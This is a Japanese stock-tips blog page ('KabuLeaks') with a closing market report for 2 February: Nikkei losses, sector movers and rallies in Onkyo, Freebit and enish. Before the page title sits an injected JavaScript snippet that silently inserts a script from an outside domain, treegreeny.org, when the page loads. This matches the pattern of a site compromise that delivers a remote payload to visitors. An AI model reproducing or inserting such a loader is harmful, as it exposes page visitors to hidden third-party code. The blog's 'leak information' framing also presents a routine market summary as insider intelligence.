;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/2 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/2 大引け】

本日の日経平均株価は116円安。米14年10~12月期GDPが予想を下回ったことで米国株が下落し、日本市場でもリスク回避の売りが先行。日経平均は下げ幅を一時210円超に拡大した。その後はドル・円が下げ渋ったほか、日銀によるETF買い思惑などもあり下げ幅を縮小。後場に入り一時下げ幅を縮小する場面もみられたが、買いが続かず再度弱含む展開となった。東証1部の売買高は22億9631万株、売買代金は2兆2944。業種別では、陸運業、医薬品、石油・石炭製品値上がり上位。一方、ガラス土石製品、空運業、ゴム製品などが値下がり上位となった。

個別では、先日28日に注目銘柄にも挙げた【6628】オンキョーが、オーディオ機器の開発・製造などを手掛ける台湾のザイラックスと資本・業務提携を行うと発表。これを受け株価は急伸ストップ高となった。その他、「NTTの光卸事業に参入」と発表を受け【3843】フリービット、スマートフォン向け瞬撃リアルタイムバトル「バハムートクライシス」が30万ダウンロードを突破したことを発表した【3667】 enishなど、後場一時急伸する場面があるもこちらは買いが続かず伸び悩む展開となった。